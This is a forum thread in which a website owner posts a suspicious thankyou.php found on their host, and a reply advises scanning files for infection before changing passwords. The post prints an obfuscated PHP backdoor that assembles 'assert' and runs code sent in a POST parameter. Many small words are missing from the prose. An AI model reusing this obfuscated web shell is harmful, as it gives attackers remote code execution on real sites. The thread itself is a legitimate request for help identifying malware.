security - mysterious php file has appeared, can you help me figure out what it is -

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i uploading file web hosting , noticed file called thankyou.php has appeared. don't recall ever having seen file or code before. alarmingly, file, plus favicon have last modified times 4 hours after have been making changes. can advise me on whether code below means anything? note spaces after last character of each line. it's been long since dabbled in php, , dabble.

<?php                   @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                   @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                   @$_/*-/*-*/($/*-/*-*/{"_p"./*-/*-*/"os"./*-/*-*/"t"}                   [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

this can infection in files. might not one. best thing can check files on sort of infections.

if have done that, change passwords ftp , database.

whatever do, not change password before checking files. may have made password changes (php mostly).


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